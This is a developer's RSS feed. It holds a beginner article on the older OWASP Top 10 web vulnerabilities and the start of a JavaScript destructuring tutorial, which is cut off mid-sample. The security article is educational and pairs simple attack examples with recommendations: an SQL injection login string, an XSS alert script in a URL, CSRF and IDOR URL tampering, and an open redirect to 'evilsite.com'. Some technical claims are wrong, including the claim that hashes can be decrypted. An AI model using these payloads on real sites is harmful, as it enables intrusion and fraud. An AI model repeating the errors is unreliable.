<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Yuma-Tsushima </title>
    <description>The latest articles on DEV Community by Yuma-Tsushima  (@yumatsushima07).</description>
    <link>https://dev.to/yumatsushima07</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F649863%2Fb392cc8d-8564-4bd7-bd3f-97b687199600.png</url>
      <title>DEV Community: Yuma-Tsushima </title>
      <link>https://dev.to/yumatsushima07</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/yumatsushima07"/>
    <language>en</language>
    <item>
      <title>[Cybersecurity] Most common web security vulnerabilities!</title>
      <dc:creator>Yuma-Tsushima </dc:creator>
      <pubDate>Fri, 02 Jul 2021 11:34:05 +0000</pubDate>
      <link>https://dev.to/yumatsushima07/cybersecurity-most-common-web-security-vulnerabilities-3g7f</link>
      <guid>https://dev.to/yumatsushima07/cybersecurity-most-common-web-security-vulnerabilities-3g7f</guid>
      <description>&lt;p&gt;OWASP or Open Web Security Project is a non-profit charitable organization focused on improving the security of software and web applications.&lt;/p&gt;

&lt;p&gt;The organization publishes a list of top web security vulnerabilities based on the data from various security organizations.&lt;/p&gt;

&lt;p&gt;The web security vulnerabilities are prioritized depending on exploitability, detectability and impact on software.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Exploitability&lt;/strong&gt; - What is needed to exploit the security vulnerability? Highest exploitability when the attack needs only web browser and lowest being advanced programming and tools.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Detectability&lt;/strong&gt; - How easy is it to detect the threat? Highest being the information displayed on URL, Form or Error message and lowest being source code.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Impact or Damage&lt;/strong&gt; - How much damage will be done if the security vulnerability is exposed or attacked? Highest being complete system crash and lowest being nothing at all.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The main aim of OWASP Top 10 is to educate the developers, designers, managers, architects and organizations about the most important security vulnerabilities.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The Top 10 security vulnerabilities as per OWASP Top 10 are:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;SQL Injection&lt;/li&gt;
&lt;li&gt;Cross Site Scripting&lt;/li&gt;
&lt;li&gt;Broken Authentication and Session Management&lt;/li&gt;
&lt;li&gt;Insecure Direct Object References&lt;/li&gt;
&lt;li&gt;Cross Site Request Forgery&lt;/li&gt;
&lt;li&gt;Security Misconfiguration&lt;/li&gt;
&lt;li&gt;Insecure Cryptographic Storage&lt;/li&gt;
&lt;li&gt;Failure to restrict URL Access&lt;/li&gt;
&lt;li&gt;Insufficient Transport Layer Protection&lt;/li&gt;
&lt;li&gt;Unvalidated Redirects and Forwards&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  SQL Injection
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Description
&lt;/h3&gt;

&lt;p&gt;Injection is a security vulnerability that allows an attacker to alter backend &lt;a href="https://www.w3schools.com/sql/sql_injection.asp"&gt;SQL&lt;/a&gt; statements by manipulating the user supplied data.&lt;/p&gt;

&lt;p&gt;Injection occurs when the user input is sent to an interpreter as part of command or query and trick the interpreter into executing unintended commands and gives access to unauthorized data.&lt;/p&gt;

&lt;p&gt;The SQL command which when executed by web application can also expose the back-end database.&lt;/p&gt;

&lt;h3&gt;
  
  
  Implication
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;An attacker can inject malicious content into the vulnerable fields.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Sensitive data like User Names, Passwords, etc. can be read from the database.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Database data can be modified (Insert/Update/ Delete).&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Administration Operations can be executed on the database&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Vulnerable Objects
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Input Fields&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;URLs interacting with the database.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Examples:
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;SQL injection on the Login Page&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Logging into an application without having valid credentials.&lt;/p&gt;

&lt;p&gt;Valid &lt;code&gt;userName&lt;/code&gt; is available, and password is not available.&lt;/p&gt;

&lt;p&gt;User Name: &lt;code&gt;sjones&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Password: &lt;code&gt;1=1' or pass123&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;SQL query created and sent to Interpreter as below&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="k"&gt;SELECT&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="k"&gt;FROM&lt;/span&gt; &lt;span class="n"&gt;Users&lt;/span&gt; &lt;span class="k"&gt;WHERE&lt;/span&gt; &lt;span class="n"&gt;User_Name&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;sjones&lt;/span&gt; &lt;span class="k"&gt;AND&lt;/span&gt; &lt;span class="n"&gt;Password&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="s1"&gt;' or pass123;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Recommendations
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;White listing the input fields&lt;/li&gt;
&lt;li&gt;Avoid displaying detailed error messages that are useful to an attacker.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Cross Site Scripting
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Description
&lt;/h3&gt;

&lt;p&gt;Cross Site Scripting is also shortly known as XSS.&lt;/p&gt;

&lt;p&gt;XSS vulnerabilities target scripts embedded in a page that are executed on the client side i.e. user browser rather then at the server side. These flaws can occur when the application takes untrusted data and send it to the web browser without proper validation.&lt;/p&gt;

&lt;p&gt;Attackers can use XSS to execute malicious scripts on the users in this case victim browsers. Since the browser cannot know if the script is trusty or not, the script will be executed, and the attacker can hijack session cookies, deface websites, or redirect the user to an unwanted and malicious websites.&lt;/p&gt;

&lt;p&gt;XSS is an attack which allows the attacker to execute the scripts on the victim's browser.&lt;/p&gt;

&lt;h3&gt;
  
  
  Implication:
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Making the use of this security vulnerability, an attacker can inject scripts into the application, can steal session cookies, deface websites, and can run malware on the victim's machines.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Vulnerable Objects
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Input Fields&lt;/li&gt;
&lt;li&gt;URLs&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Examples
&lt;/h3&gt;

&lt;p&gt;1.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;http://www.example.com/home?"&lt;span class="nt"&gt;&amp;lt;script&amp;gt;&lt;/span&gt;&lt;span class="nx"&gt;alert&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;xss&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="nt"&gt;&amp;lt;/script&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The above script when run on a browser, a message box will be displayed if the site is vulnerable to XSS.&lt;/p&gt;

&lt;p&gt;The more serious attack can be done if the attacker wants to display or store session cookie.&lt;/p&gt;

&lt;p&gt;2.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;http://example.net/search.aspx?txtSearch &lt;span class="nt"&gt;&amp;lt;iframe&amp;gt;&lt;/span&gt; &lt;span class="nt"&gt;&amp;lt;src&lt;/span&gt; &lt;span class="err"&gt;=&lt;/span&gt; &lt;span class="na"&gt;http:&lt;/span&gt;&lt;span class="err"&gt;//&lt;/span&gt;&lt;span class="na"&gt;google.com&lt;/span&gt; &lt;span class="na"&gt;width = &lt;/span&gt;&lt;span class="s"&gt;500&lt;/span&gt; &lt;span class="na"&gt;height&lt;/span&gt; &lt;span class="err"&gt;500&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&amp;lt;/iframe&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The above script when run, the browser will load an invisible frame pointing to &lt;code&gt;http://google.com&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;The attack can be made serious by running a malicious script on the browser.&lt;/p&gt;

&lt;h3&gt;
  
  
  Recommendations
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;White Listing input fields&lt;/li&gt;
&lt;li&gt;Input Output encoding&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Broken Authentication and Session Management
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Description
&lt;/h3&gt;

&lt;p&gt;The websites usually create a session cookie and session ID for each valid session, and these cookies contain sensitive data like username, password, etc. When the session is ended either by logout or browser closed abruptly, these cookies should be invalidated i.e. for each session there should be a new cookie.&lt;/p&gt;

&lt;p&gt;If the cookies are not invalidated, the sensitive data will exist in the system. For example, a user using a public computer (Cyber Cafe), the cookies of the vulnerable site sits on the system and exposed to an attacker. An attacker uses the same public computer after some time, the sensitive data is compromised.&lt;/p&gt;

&lt;p&gt;In the same manner, a user using a public computer, instead of logging off, he closes the browser abruptly. An attacker uses the same system, when browses the same vulnerable site, the previous session of the victim will be opened. The attacker can do whatever he wants to do from stealing profile information, credit card information, etc.&lt;/p&gt;

&lt;p&gt;A check should be done to find the strength of the authentication and session management. Keys, session tokens, cookies should be implemented properly without compromising passwords.&lt;/p&gt;

&lt;h3&gt;
  
  
  Vulnerable Objects
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Session IDs exposed on URL can lead to session fixation attack.&lt;/li&gt;
&lt;li&gt;Session IDs same before and after logout and login.&lt;/li&gt;
&lt;li&gt;Session Timeouts are not implemented correctly.&lt;/li&gt;
&lt;li&gt;Application is assigning same session ID for each new session.&lt;/li&gt;
&lt;li&gt;Authenticated parts of the application are protected using SSL and passwords are stored in hashed or encrypted format.&lt;/li&gt;
&lt;li&gt;The session can be reused by a low privileged user.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Implication
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Making use of this vulnerability, an attacker can hijack a session, gain unauthorized access to the system which allows disclosure and modification of unauthorized information.&lt;/li&gt;
&lt;li&gt;The sessions can be high jacked using stolen cookies or sessions using XSS.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Examples
&lt;/h3&gt;

&lt;ol&gt;
&lt;li&gt;Airline reservation application supports URL rewriting, putting session IDs in the URL:
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;http://Examples.com/sale/saleitems;jsessionid=2P0OC2oJM0DPXSNQPLME34SERTBG/dest=Maldives
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;&lt;br&gt;
 (Sale of tickets to Maldives)&lt;/p&gt;

&lt;p&gt;An authenticated user of the site wants to let his friends know about the sale and sends an email across. The friends receive the session ID and can be used to do unauthorized modifications or misuse the saved credit card details.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;An application is vulnerable to XSS, by which an attacker can access the session ID and can be used to hijack the session.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Applications timeouts are not set properly. The user uses a public computer and closes the browser instead of logging off and walks away. The attacker uses the same browser some time later, and the session is authenticated.&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;
  
  
  Recommendations
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;All the authentication and session management requirements should be defined as per OWASP Application Security Verification Standard.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Never expose any credentials in URLs or Logs.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Strong efforts should be also made to avoid XSS flaws which can be used to steal session IDs.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;
  
  
  Insecure Direct Object References
&lt;/h2&gt;
&lt;h3&gt;
  
  
  Description
&lt;/h3&gt;

&lt;p&gt;It occurs when a developer exposes a reference to an internal implementation object, such as a file, directory, or database key as in URL or as a FORM parameter. The attacker can use this information to access other objects and can create a future attack to access the unauthorized data.&lt;/p&gt;
&lt;h3&gt;
  
  
  Implication
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Using this vulnerability, an attacker can gain access to unauthorized internal objects, can modify data or compromise the application.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;
  
  
  Vulnerable Objects
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;In the URL.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;
  
  
  Examples:
&lt;/h3&gt;

&lt;p&gt;Changing &lt;code&gt;"userid"&lt;/code&gt; in the following URL can make an attacker to view other user's information.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;http://www.vulnerablesite.com/userid=123
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;modified to&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;http://www.vulnerablesite.com/userid=124
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;An attacker can view others information by changing user id value.&lt;/p&gt;

&lt;h3&gt;
  
  
  Recommendations:
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Implement access control checks.&lt;/li&gt;
&lt;li&gt;Avoid exposing object references in URLs.&lt;/li&gt;
&lt;li&gt;Verify authorization to all reference objects.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Cross Site Request Forgery
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Description
&lt;/h3&gt;

&lt;p&gt;Cross Site Request Forgery is a forged request came from the cross site.&lt;/p&gt;

&lt;p&gt;CSRF attack is an attack that occurs when a malicious website, email, or program causes a user's browser to perform an unwanted action on a trusted site for which the user is currently authenticated.&lt;/p&gt;

&lt;p&gt;A CSRF attack forces a logged-on victim's browser to send a forged HTTP request, including the victim's session cookie and any other automatically included authentication information, to a vulnerable web application.&lt;/p&gt;

&lt;p&gt;A link will be sent by the attacker to the victim when the user clicks on the URL when logged into the original website, the data will be stolen from the website.&lt;/p&gt;

&lt;h3&gt;
  
  
  Implication
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Using this vulnerability as an attacker can change user profile information, change status, create a new user on admin behalf, etc.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Vulnerable Objects
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;User Profile page&lt;/li&gt;
&lt;li&gt;User account forms&lt;/li&gt;
&lt;li&gt;Business transaction page&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Examples
&lt;/h3&gt;

&lt;p&gt;The victim is logged into a bank website using valid credentials. He receives mail from an attacker saying "Please click here to donate $1 to cause."&lt;/p&gt;

&lt;p&gt;When the victim clicks on it, a valid request will be created to donate $1 to a particular account.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;http://www.vulnerablebank.com/transfer.do?account=cause&amp;amp;amount=1
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The attacker captures this request and creates below request and embeds in a button saying "I Support Cause."&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;http://www.vulnerablebank.com/transfer.do?account=Attacker&amp;amp;amount=1000
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Since the session is authenticated and the request is coming through the bank website, the server would transfer $1000 dollars to the attacker.&lt;/p&gt;

&lt;h3&gt;
  
  
  Recommendation
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Mandate user's presence while performing sensitive actions.&lt;/li&gt;
&lt;li&gt;Implement mechanisms like CAPTCHA, Re-Authentication, and Unique Request Tokens.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Security Misconfiguration
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Description
&lt;/h3&gt;

&lt;p&gt;Security Configuration must be defined and deployed for the application, frameworks, application server, web server, database server, and platform. If these are properly configured, an attacker can have unauthorized access to sensitive data or functionality.&lt;/p&gt;

&lt;p&gt;Sometimes such flaws result in complete system compromise. Keeping the software up to date is also good security.&lt;/p&gt;

&lt;h3&gt;
  
  
  Implication
&lt;/h3&gt;

&lt;p&gt;Making use of this vulnerability, the attacker can enumerate the underlying technology and application server version information, database information and gain information about the application to mount few more attacks.&lt;/p&gt;

&lt;h3&gt;
  
  
  Vulnerable objects
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;URL&lt;/li&gt;
&lt;li&gt;Form Fields&lt;/li&gt;
&lt;li&gt;Input fields&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Examples
&lt;/h3&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;The application server admin console is automatically installed and not removed. Default accounts are not changed. The attacker can log in with default passwords and can gain unauthorized access.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Directory Listing is not disabled on your server. Attacker discovers and can simply list directories to find any file.&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  Insecure Cryptographic Storage
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Description
&lt;/h3&gt;

&lt;p&gt;Insecure Cryptographic storage is a common vulnerability which exists when the sensitive data is not stored securely.&lt;/p&gt;

&lt;p&gt;The user credentials, profile information, health details, credit card information, etc. come under sensitive data information on a website.&lt;/p&gt;

&lt;p&gt;This data will be stored on the application database. When this data are stored improperly by not using encryption or hashing*, it will be vulnerable to the attackers.&lt;/p&gt;

&lt;p&gt;(*Hashing is transformation of the string characters into shorter strings of fixed length or a key. To decrypt the string, the algorithm used to form the key should be available)&lt;/p&gt;

&lt;h3&gt;
  
  
  Implication
&lt;/h3&gt;

&lt;p&gt;By using this vulnerability, an attacker can steal, modify such weakly protected data to conduct identity theft, credit card fraud or other crimes.&lt;/p&gt;

&lt;h3&gt;
  
  
  Vulnerable objects
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Application database.
### Examples&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;In one of the banking application, password database uses unsalted hashes * to store everyone's passwords. An SQL injection flaw allows the attacker to retrieve the password file. All the unsalted hashes can be brute forced in no time whereas, the salted passwords would take thousands of years.&lt;/p&gt;

&lt;p&gt;(*Unsalted Hashes – Salt is a random data appended to the original data. Salt is appended to the password before hashing)&lt;/p&gt;

&lt;h3&gt;
  
  
  Recommendations
&lt;/h3&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;Ensure appropriate strong standard algorithms. Do not create own cryptographic algorithms. Use only approved public algorithms such as AES, RSA public key cryptography, and SHA-256, etc.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Ensure offsite backups are encrypted, but the keys are managed and backed up separately.&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  Failure to restrict URL Access
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Description
&lt;/h3&gt;

&lt;p&gt;Web applications check URL access rights before rendering protected links and buttons. Applications need to perform similar access control checks each time these pages are accessed.&lt;/p&gt;

&lt;p&gt;In most of the applications, the privileged pages, locations and resources are not presented to the privileged users.&lt;/p&gt;

&lt;p&gt;By an intelligent guess, an attacker can access privilege pages. An attacker can access sensitive pages, invoke functions and view confidential information.&lt;/p&gt;

&lt;h3&gt;
  
  
  Implication
&lt;/h3&gt;

&lt;p&gt;Making use of this vulnerability attacker can gain access to the unauthorized URLs, without logging into the application and exploit the vulnerability. An attacker can access sensitive pages, invoke functions and view confidential information.&lt;br&gt;
Vulnerable objects:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;URLs&lt;/p&gt;
&lt;h3&gt;
  
  
  Examples
&lt;/h3&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Attacker notices the URL indicates the role as "/user/getaccounts." He modifies as "/admin/getaccounts".&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;An attacker can append role to the URL.&lt;br&gt;
&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;http://www.vulnerablsite.com 
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;can be modified as&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt; http://www.vulnerablesite.com/admin
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Recommendations
&lt;/h3&gt;

&lt;ol&gt;
&lt;li&gt;Implement strong access control checks.&lt;/li&gt;
&lt;li&gt;Authentication and authorization policies should be role-based.&lt;/li&gt;
&lt;li&gt;Restrict access to unwanted URLs.&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  Insufficient Transport Layer Protection
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Description
&lt;/h3&gt;

&lt;p&gt;Deals with information exchange between the user (client) and the server (application). Applications frequently transmit sensitive information like authentication details, credit card information, and session tokens over a network.&lt;/p&gt;

&lt;p&gt;By using weak algorithms or using expired or invalid certificates or not using SSL can allow the communication to be exposed to untrusted users, which may compromise a web application and or steal sensitive information.&lt;/p&gt;

&lt;h3&gt;
  
  
  Implication
&lt;/h3&gt;

&lt;p&gt;Making use of this web security vulnerability, an attacker can sniff legitimate user's credentials and gaining access to the application.&lt;br&gt;
Can steal credit card information.&lt;/p&gt;
&lt;h3&gt;
  
  
  Vulnerable objects
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Data sent over the network.&lt;/p&gt;
&lt;h3&gt;
  
  
  Recommendations
&lt;/h3&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Enable secure HTTP and enforce credential transfer over HTTPS only.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Ensure your certificate is valid and not expired.&lt;/p&gt;
&lt;h3&gt;
  
  
  Examples:
&lt;/h3&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;ol&gt;
&lt;li&gt;An application not using SSL, an attacker will simply monitor network traffic and observes an authenticated victim session cookie. An attacker can steal that cookie and perform Man-in-the-Middle attack.&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;
  
  
  Unvalidated Redirects and Forwards
&lt;/h2&gt;
&lt;h3&gt;
  
  
  Description
&lt;/h3&gt;

&lt;p&gt;The web application uses few methods to redirect and forward users to other pages for an intended purpose.&lt;/p&gt;

&lt;p&gt;If there is no proper validation while redirecting to other pages, attackers can make use of this and can redirect victims to phishing or malware sites, or use forwards to access unauthorized pages.&lt;/p&gt;
&lt;h3&gt;
  
  
  Implication
&lt;/h3&gt;

&lt;p&gt;An attacker can send a URL to the user that contains a genuine URL appended with encoded malicious URL. A user by just seeing the genuine part of the attacker sent URL can browse it and may become a victim.&lt;/p&gt;
&lt;h3&gt;
  
  
  Examples
&lt;/h3&gt;

&lt;p&gt;1.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;http://www.vulnerablesite.com/login.aspx?redirectURL=ownsite.com
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Modified to&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;http://www.vulnerablesite.com/login.aspx?redirectURL=evilsite.com
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Recommendations
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Simply avoid using redirects and forwards in the application. If used, do not involve using user parameters in calculating the destination.&lt;/li&gt;
&lt;li&gt;If the destination parameters can't be avoided, ensure that the supplied value is valid, and authorized for the user.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Question: What other common web vulnerabilities do you know? How do we use them? Write a comment below!&lt;/strong&gt;&lt;/p&gt;

</description>
      <category>cybersecurity</category>
      <category>sql</category>
      <category>websecurity</category>
    </item>
    <item>
      <title>[JavaScript] 5 Interesting uses of JavaScript destructuring!</title>
      <dc:creator>Yuma-Tsushima </dc:creator>
      <pubDate>Thu, 01 Jul 2021 20:48:01 +0000</pubDate>
      <link>https://dev.to/yumatsushima07/javascript-5-interesting-uses-of-javascript-destructuring-1nnb</link>
      <guid>https://dev.to/yumatsushima07/javascript-5-interesting-uses-of-javascript-destructuring-1nnb</guid>
      <description>&lt;p&gt;Looking at my regular JavaScript code, I see that destructuring assignments are everywhere.&lt;/p&gt;

&lt;p&gt;Reading object properties and accessing array items are frequent operations. The destructuring assignments make these operations so much easier and concise.&lt;/p&gt;

&lt;p&gt;In this post, I will describe 5 interesting uses of destructuring in JavaScript, beyond the basic usage.&lt;/p&gt;

&lt;h2&gt;
  
  
  1) Swap variables
&lt;/h2&gt;

&lt;p&gt;The usual way to swap 2 variables requires an additional temporary variable. Let’s see a simple scenario:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;a&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;b&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;temp&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="nx"&gt;temp&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;a&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="nx"&gt;a&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;b&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="nx"&gt;b&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;temp&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="nx"&gt;a&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="c1"&gt;// =&amp;gt; 2&lt;/span&gt;
&lt;span class="nx"&gt;b&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="c1"&gt;// =&amp;gt; 1&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;&lt;code&gt;temp&lt;/code&gt; is a temporary variable that holds the value of &lt;code&gt;a&lt;/code&gt;. Then &lt;code&gt;a&lt;/code&gt; is assigned with the value of &lt;code&gt;b&lt;/code&gt;, and consequently &lt;code&gt;b&lt;/code&gt; is assigned with &lt;code&gt;temp&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;The destructuring assignment makes the variables swapping simple, without any need of a temporary variable:&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;a&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
